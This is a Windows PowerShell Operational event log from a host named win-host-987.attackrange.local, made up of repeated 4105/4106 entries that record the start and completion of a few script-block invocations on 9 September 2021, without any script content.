OpCode=On create calls
RecordNumber=2026705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026697
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026695
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026694
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026677
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026671
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
